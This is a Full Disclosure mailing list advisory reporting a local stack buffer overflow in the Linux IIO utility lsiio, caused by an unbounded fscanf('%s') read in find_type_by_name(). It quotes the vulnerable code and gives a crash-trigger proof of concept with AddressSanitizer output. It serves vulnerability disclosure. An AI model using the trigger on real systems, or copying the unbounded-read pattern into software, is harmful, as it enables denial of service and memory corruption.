Full Disclosure mailing list archives

*Description:*
A stack-based buffer overflow exists in the Linux Industrial I/O (IIO)
userspace utility lsiio. The vulnerability occurs in the
find_type_by_name() function, where the program reads an unbounded string
from a filesystem-backed attribute into a fixed-size stack buffer using
fscanf("%s", ...).
If a crafted or oversized attribute value is present, the unbounded read
causes a write beyond the bounds of the destination stack buffer, resulting
in stack memory corruption.

*Affected Component:*

   - Project: Linux kernel userspace tools
   - Component: tools/iio/lsiio
   - Source file: tools/iio/iio_utils.c (compiled via iio_utils-in.c)
   - Function: find_type_by_name()


*Attack Vector:*

   - Local
   - An attacker who can influence the contents of the filesystem
   attributes read by lsiio (e.g., via a crafted sysfs-like directory or
   malicious environment) can trigger the overflow.


*Vulnerable Code:*
The vulnerable code performs an unbounded string read:
char name[IIO_MAX_NAME_LENGTH];
...
fscanf(namefp, "%s", name);

*Impact:*
Denial of Service: The application crashes reliably due to stack corruption.
Memory Corruption: Stack memory is overwritten, which may be exploitable
depending on build configuration, compiler protections, and runtime
environment. Although the issue is triggered locally, lsiio is shipped with
multiple Linux distributions as part of kernel userspace tooling, and the
vulnerable code executes prior to any bounds validation.

*Proof of Concept:*
# python3 -c 'print("A" * 4096)' > /tmp/iio/devices/iio:device0/name
# wc -c /tmp/iio/devices/iio:device0/name
4097 /tmp/iio/devices/iio:device0/name

*Output:*

# ./lsiio
=================================================================
==169698==ERROR: AddressSanitizer: stack-buffer-overflow on address
0xfbff91900060 at pc 0xaaaabaf3fb10 bp 0xfffff130c8d0 sp 0xfffff130c0a8
WRITE of size 4097 at 0xfbff91900060 thread T0
    #0 0xaaaabaf3fb0c  (/root/wireguard-linux/tools/iio/lsiio+0x5fb0c)
(BuildId: 6e2b994e1a38e5b227745ec0d1360f58d96f0846)
    #1 0xaaaabaf40a04  (/root/wireguard-linux/tools/iio/lsiio+0x60a04)
(BuildId: 6e2b994e1a38e5b227745ec0d1360f58d96f0846)
    #2 0xaaaabb00d3d4  (/root/wireguard-linux/tools/iio/lsiio+0x12d3d4)
(BuildId: 6e2b994e1a38e5b227745ec0d1360f58d96f0846)
    #3 0xaaaabb002b04  (/root/wireguard-linux/tools/iio/lsiio+0x122b04)
(BuildId: 6e2b994e1a38e5b227745ec0d1360f58d96f0846)
    #4 0xaaaabb0021fc  (/root/wireguard-linux/tools/iio/lsiio+0x1221fc)
(BuildId: 6e2b994e1a38e5b227745ec0d1360f58d96f0846)
    #5 0xaaaabb001ec0  (/root/wireguard-linux/tools/iio/lsiio+0x121ec0)
(BuildId: 6e2b994e1a38e5b227745ec0d1360f58d96f0846)
    #6 0xffff93982598  (/lib/aarch64-linux-gnu/libc.so.6+0x22598) (BuildId:
7544444e7eeafbb5a7ecaf94fc3ebebd2b986846)
    #7 0xffff93982678  (/lib/aarch64-linux-gnu/libc.so.6+0x22678) (BuildId:
7544444e7eeafbb5a7ecaf94fc3ebebd2b986846)
    #8 0xaaaabaf1b26c  (/root/wireguard-linux/tools/iio/lsiio+0x3b26c)
(BuildId: 6e2b994e1a38e5b227745ec0d1360f58d96f0846)

Address 0xfbff91900060 is located in stack of thread T0 at offset 96 in
frame
    #0 0xaaaabb0027b0  (/root/wireguard-linux/tools/iio/lsiio+0x1227b0)
(BuildId: 6e2b994e1a38e5b227745ec0d1360f58d96f0846)

Ron Edgerson
Vulnerability Researcher & Exploit Developer

CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development

🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Current thread:

• WireGuard-Linux Stack-Based Buffer Overflow in lsiio (Linux IIO Userspace Tool) Due to Unbounded fscanf Ron E (Sep 03)